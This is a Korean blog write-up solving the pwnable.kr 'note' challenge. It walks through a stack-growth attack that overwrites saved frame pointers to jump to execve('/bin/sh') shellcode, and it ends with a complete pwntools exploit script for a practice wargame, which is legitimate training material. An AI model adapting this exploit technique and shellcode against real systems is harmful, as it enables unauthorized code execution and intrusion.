생각보다 어렵지 않은 문제이다. 하루 깔짝하고 풀었는데, 제일 시간이 오래걸렸던 부분은 ..문제 서버에다가 문자열 송수신하는 중에 자꾸 파이썬 EOF Error가 난다 ㅡㅡ; 내가 코드를 못짜는건지 아니면 서버가 불안정한건지 모르겠다.
문제 설명을 보면 mmap() 함수에 보안패치를 했고, ASLR 세팅을 안했다고 한다. 핵심적인 부분이니 기억해두자.
이제 문제를 보자.
- 아참. 400명 이상 푼 문제는 exploit 코드 공개하겠다.
- 이 글에는 문제 풀이와 답이 있으니, 실력 증진을 원하는 분들은 충분히 삽질한 후 읽어주시길 바란다.
1. 코드흐름
====================================================
문제의 핵심인 mmap_s 함수부터 보겠다. random seed로 urandom을 쓰고, addr에 random값을 read 함수를 통해 넣고 있다.
이 함수는 너무 깊게 볼 필요 없다. 그냥 mmap_s를 이용해 무작위 주소를 매핑해준다.
create_note()는 mmap_s를 이용해 특정 주소를 매핑해준다. mmap_s로 PAGE_SIZE (0x1000) 만큼, 매핑된 임의 주소의 권한은 rwxp 몽땅 넣어줬다.
mem_arr[i]에 생성된 임의 주소값이 들어가는데, mem_arr은 0 ~ 255?? 까지 생성 가능하다.
write_note는 create_note에서 생성된 임의 주소에 4096 byte만큼 값을 쓸 수 있다. 정확히는 4096 이상 쓸 수 있긴 하지만 매핑된 임의 주소값의 사이즈를 넘겨버리면 'cannot access address' 에러가 뜨면서 프로그램이 죽어버린다.
read_note는 create_note로 생성한 임의 주소의 값들을 print 해주는 역할을 한다.
delete_note는 create_note로 생성한 임의 주소의 매핑을 해제한다.
여기가 문제에서 취약한 부분인데, select_menu가 실행될 때마다 char command[1024]가 스택에 할당된다. 무슨 말이냐면, select_menu가 1번 실행되면 1024만큼 스택이 할당되고 2번 실행되면 2048, ... n번 실행되면 1024 * n만큼 스택이 할당된다.
그럼 수백, 수천번을 실행하면 그만큼 스택이 늘어난다는거고, 결국 스택이 다른 메모리를 침범할 수도 있다는 뜻이다.
select_menu는 히든메뉴인 0x31337을 갖고 있다. 1 byte overflow를 일으켜서 pwn을 일으킬 수 있을 것 같다는데, 개뻥이다.
select_menu가 끝나고 나면 다시 자기를 부르는 재귀함수 구조로 되어있다.
마지막으로 main 함수이다. 중간중간에 sleep 함수가 있던걸로 기억하는데, 편의상 그냥 다 지워버렸다. (디버깅할 때 편하려고)
printf를 많이많이 출력한 뒤 select_menu 함수가 시작된다.
2. 고려사항
====================================================
1. mmap_s를 통해 임의 주소가 매핑된다. 그러나 이미 할당된 메모리(text영역, 라이브러리 영역, 스택, 힙 등)는 매핑되지 않는다.
2. ASLR이 걸려있지 않은 문제이다. 즉 문제푸는 과정에서 ASLR을 해제하고 디버깅하는 것이 좋다.
3. select_menu() 함수가 재귀호출된다.
3. 필요 지식
====================================================
1. mmap 함수가 뭘하는 함수인지를 알아야 한다.
관련 주소: mintnlatte.tistory.com/357
2. ASLR 보호기법이 뭔지 알아야 한다.
관련 주소: cpuu.postype.com/post/4077799
4. 문제 풀이
====================================================
note 문제는
- create_note를 이용해 4096 사이즈의 임의 메모리를 매핑한다.
- write_note를 이용해 4096 사이즈만큼 메모리에 값을 입력할 수 있다.
- read_note를 이용해 매핑된 메모리의 값을 읽어올 수 있다.
- delete_note를 이용해 매핑된 메모리를 해제할 수 있다.
이 것과, select_menu 중 5번 메뉴(5. exit)를 이용하기 전까지 select_menu가 무한반복된다는 점을 알면 된다.
문제를 실행해보자.
핵심만 짚고 넘어가겠다. 첫번째로는 mmap_s를 통해 메모리가 어떻게 할당되는지를 확인할건데
- main의 select_menu 끝나는 지점(0x8048ae6)에 breakpoint를 걸고 메모리를 확인하겠다.
- create_note를 이용해 0xb6e79000 이라는 메모리를 매핑했다.
- 5. exit로 프로그램을 종료하였다.
- shell ps, shell cat /proc/note(pid)/maps 를 이용해 할당된 메모리를 확인하였다.
확인 결과, 예상대로 rwxp 권한을 가진 메모리가 매핑된다.
그리고 가장 중요한 스택의 범위를 확인하자면..
0xfffdd000 ~ 0xffffe000이다. 꼭 기억해두자.
다음으로 select_menu를 통해 할당되는 스택을 확인하자.
- select_menu의 fgets 함수 다음 지점(0x80489dc)에 breakpoint를 걸고 메모리를 확인하는 것이 좋다. (필자는 귀찮아서 디버깅을 통해 알아낸 주소를 입력하고 확인했다)
- secret menu인 0x31337로 접근을 위해 0x31337의 10진수인 201527을 입력하였다.
- 1을 대충 때려넣어준 후
- 5.exit로 프로그램을 종료하였다.
실행결과는 이렇고, 메모리를 보자면..
이렇다. 0xffffc98c에서 1024(+0x400)만큼 스택을 할당하는데,
배열의 마지막 스택주소를 확인하면 구조가 이렇게 되어있다. secret menu에서 1byte overflow를 하게 될 경우, 0x31337의 37부분을 0으로 덮어쓸 수 있다. 정말 의미없는 부분이므로 secret_menu는 그냥 넘어가도록 한다.
핵심은 ebp이다. ebp는 main()이 끝난 후 libc_start_main으로 return하는데, 저 주소를 바꿀수만 있다면 우리가 원하는 작업을 할 수 있을 것이다. 하지만 일반적인 방법으로는 안된다. 어떻게 해야하나 어떻게 해야하나.. 고민중에 select_menu()가 무한히 반복되는 걸 확인했고, 무한히 반복되는 중 char command[1024]를 이용해 스택을 계속 늘려준다는걸 봤다.
이걸 이용해 스택을 얼마나 늘릴 수 있나.. 하고 확인차 파이썬 스크립트를 이용했다.
- python -c 'print "3\n" * 8000 + "5\n"' > input 을 이용해 select_menu를 8천번 실행하고 종료하게끔 input 파일에 값을 밀어넣는다.
- main의 select_menu 끝나는 지점(0x8048ae6)에 breakpoint를 걸고 메모리를 확인하겠다.
- gdb 디버거에서 r < input을 입력하여 바이너리에 input 파일을 통째로 밀어넣는다.
- shell ps, shell cat /proc/note(pid)/maps 를 이용해 할당된 스택 사이즈를 확인한다.
확인 결과이다. 분명 이전에는 0xfffdd000 ~ 0xffffe000 이었는데 0xfffdd000이 0xffbe5000으로 바뀌었다.
그 뜻은 select_menu를 이용해 다른 영역까지 침범가능하다는 뜻이다.
select_menu() 함수가 한번 실행되면
char command[1024] = 0x400에 추가로 다른 함수나 인자사용 등으로 0x30이 할당된다. 그래서 select_menu 한번당 총 0x430 메모리가 할당된다.
또한 메모리가 할당될 때마다 ebp(0xffffcdbc)를 가리키는 next_ebp가 할당되는데 이걸 그림으로 보면 다음과 같다.
ebp3 ==> ebp2 ==> ebp1 ==> ebp ==> libc_start_main
스택을 n만큼 할당했을 경우, ebp_n에 해당하는 곳에서 쭉쭉 ebp 포인터를 따라가다가 결국 0xffffcdbc에 위치한 libc_start_main 을 실행하는 구조이다.
감이 오나?? ebp_(n-1)이든 ebp_(n-100)이든 결국 ebp부분을 건드리면 ebp_n을 쭉쭉 따라 내려가다가 우리가 원하는 주소를 실행할 수 있다.
여기까지 이해했다면 문제는 쉽게 풀 수 있다.
필자는 이렇게 풀었다.
1. 먼저 create_note(no.0번째)를 통해 쉘코드를 담을 메모리를 매핑한다.
2. 이후 write_note로 첫번째로 생성한 곳에 쉘코드를 담았다. :: system("/bin/sh")
3. 스택을 최대한 적게 할당하기 위해 '근접한 메모리(target_address)' 주소를 정의하고, '근접한 메모리'가 스택과 최대한 가까운 위치에 매핑될때까지 create_note, delete_note를 반복한다.
- 이 때 '근접한 메모리'는 0xffe00000 으로 정의하였다. 0xffe00000 이상 욕심내면 잘 안됬던 것 같다.
4. '근접한 메모리'를 발견할 경우 create_note를 중지하고 read_note를 이용해 의미없는 print를 반복하면서 select_menu를 실행해준다.
- '근접한 메모리'를 스택이 덮을때까지 read_note를 계속 실행한다.
5. 스택이 근접한 메모리를 덮었을 때, write_note를 이용해 '근접한 메모리'에 쉘코드가 담긴 주소를 4096만큼 채워버린다.
- 이렇게 하면 ebp_(n-1), ebp_(n-2) ... 중 3~4군데가 쉘코드 주소로 덮일 것이다.
6. 5.exit를 이용해 프로그램을 종료한다.
7. main함수가 끝나고 자연스레 libc_start_main이 실행되어야 하지만, 우리가 덮은 쉘코드 주소가 실행되면서 system("/bin/sh")가 호출된다.
아래는 내가 작성한 코드이다.
맘에 안들면 수정해서 쓰고.. '-' 중간중간에 time.sleep(0.1)을 쓴 이유는 자꾸 문제서버에 데이터 보내다가 'EOF Error'가 떠서 넣은건데
저렇게 해도 EOF Error가 간간히 뜬다. 빡친다.. -0-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
|
from pwn import *
import time
s = ssh(user = 'note', host = 'pwnable.kr', port = 2222, password = 'guest')
remote = s.remote('localhost', 9019)
remote.recvuntil("exit\n")
count = 0
create_number = 0
first_alloc_address = 0xffffc98c # 1st select menu allocated stack.
target_address = 0xffe00000 # close to stack address
shellcode = "\x90" * 32 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 4
def read_note(total_count, current_count):
for i in range(0, total_count - current_count + 4):
# total_count - current + 4, '4' is To allocate the stack effortlessly
remote.sendline("3")
remote.recvuntil("no?\n")
time.sleep(0.1)
remote.sendline("1")
remote.recvuntil("exit\n")
print ("."),
time.sleep(0.1)
def delete_note(number, count):
for i in range(1, number+1):
remote.sendline("4")
remote.recvuntil("no?\n")
time.sleep(0.1)
remote.sendline(str(i))
print ("delete_number: %d" % i),
count += 1
return count
def write_note(number, string):
remote.sendline("2") # write note
remote.recvuntil("note no?\n")
remote.sendline(str(number))
remote.recvuntil("byte)\n")
remote.sendline(string) # input shellcode
remote.recvuntil("exit\n")
while True:
# ========== create note until mapped suitable address ========== #
remote.sendline("1")
remote.recvuntil("created. no ")
create_number = int(remote.recvuntil("\n"))
#print ("[%d]:" % create_number),
remote.recvuntil("[")
time.sleep(0.1)
mmap_address = int(remote.recvuntil("]")[:-1], 16)
remote.recvuntil("exit\n")
count += 1 # as much as excuted 'select_menu'
#=========== input shellcode in 1st create address ===============#
if (create_number == 0):
print ("input shellcode in 1st address [0x%x]" % mmap_address)
write_note(create_number, shellcode)
payload = p32(mmap_address + 0x10) * 1024 # 4 * 1024 = 4096 byte
# 'payload' is points to a shellcode address
#================================================================#
print ("[%d]:" % create_number),
print hex(mmap_address),
print (" "),
if mmap_address > target_address:
print ("\n[*] find address [0x%x]" % mmap_address)
print (" [-] execute read_note to lift the stack")
print (" [-] count: %d" % (((first_alloc_address - mmap_address) / 0x430)- count))
read_note((first_alloc_address - mmap_address) / 0x430, count)
print ("[*] write payload in [%d] note" % create_number)
write_note(create_number, payload)
remote.sendline("5")
print (remote.recv())
print ("## get shellcode! ## ")
remote.interactive('$ ')
if create_number > 254:
count = delete_note(create_number, count)
if count > 960:
print "try again!"
exit(0)
|
cs |
'Wargame > pwnable.kr' 카테고리의 다른 글
[Grotesque] aeg (2) | 2020.10.03 |
---|---|
[Rookies] crypto1 (0) | 2020.09.14 |
[Toddler] fd (0) | 2020.09.06 |
[Grotesque] asg (0) | 2020.08.15 |
[Toddler] asm (2) | 2020.07.05 |